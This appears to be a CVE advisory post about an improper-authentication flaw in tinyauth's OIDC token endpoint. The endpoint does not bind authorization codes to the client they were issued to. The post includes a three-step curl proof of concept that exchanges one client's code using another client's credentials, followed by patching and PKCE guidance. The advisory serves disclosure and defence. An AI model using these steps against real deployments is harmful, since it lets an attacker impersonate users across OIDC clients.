Tinyauth, Improper Authentication, CVE-2026-32245 (Medium)

Listen to this Post

The OIDC token endpoint in tinyauth versions prior to 5.0.3 fails to verify that the client exchanging an authorization code is the same client the code was originally issued to . During code creation, `StoreCode` at `internal/service/oidc_service.go:305-322` correctly stores the `ClientID` alongside the code hash in the database. However, during token exchange at internal/controller/oidc_controller.go:267-309, the handler retrieves the code entry and validates the `redirect_uri` but never compares `entry.ClientID` against the requesting client’s ID (creds.ClientID). The code proceeds directly to GenerateAccessToken. This check was clearly intended by developers, as the refresh token flow at `internal/service/oidc_service.go:508-510` contains the exact guard: if entry.ClientID != reqClientId. The `entry.ClientID` field is stored but never read during authorization code exchange, violating RFC 6749 Section 4.1.3 which requires the authorization code to be tied to the client .
Platform: tinyauth
Version: <5.0.3
Vulnerability: Improper Authentication
Severity: 6.5 Medium
date: March 12, 2026

Prediction: March 12, 2026

What Undercode Say:

Analytics:

This vulnerability (CWE-863) allows a malicious OIDC client operator with valid credentials to exchange an authorization code issued to a different client . The attack requires a multi-client tinyauth deployment and a way to obtain the victim client’s authorization code, which can leak via referrer headers, browser history, or server logs . The CVSS vector is `CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N` .

Exploit:

Step 1: Login as normal user (password only)
curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'
Step 2: Authorize with Client A and extract code from redirect_uri
curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
-H "Content-Type: application/json" \
-d '{"client_id":"client-a-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'
Step 3: Exchange Client A's code using Client B's credentials
curl -X POST http://localhost:3000/api/oidc/token \
-u "client-b-id:client-b-secret" \
-d "grant_type=authorization_code&code=<CODE_FROM_STEP_2>&redirect_uri=http://localhost:8080/callback"

The server returns valid access_token, id_token, and `refresh_token` for a user who only authorized Client A .

Protection:

Update to tinyauth version 5.0.3 or later . For defense in depth, implement PKCE (Proof Key for Code Exchange) which binds the authorization code to the specific client instance through a `code_verifier` and code_challenge, preventing any other client from exchanging an intercepted code . Strictly validate that the client exchanging the code matches the `client_id` stored with the authorization code . Consider implementing the `confirm_redirect_uri` validation pattern from OAuthlib’s `RequestValidator` .

Impact:

A malicious OIDC relying party operator can obtain tokens for users who never authorized their application, enabling complete user impersonation across OIDC clients on the same tinyauth instance . This violates the core OIDC security principle that tokens must be bound to the intended client and recipient . The attack completely bypasses the authorization consent mechanism, as the attacker never needed the user to authorize their application .

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top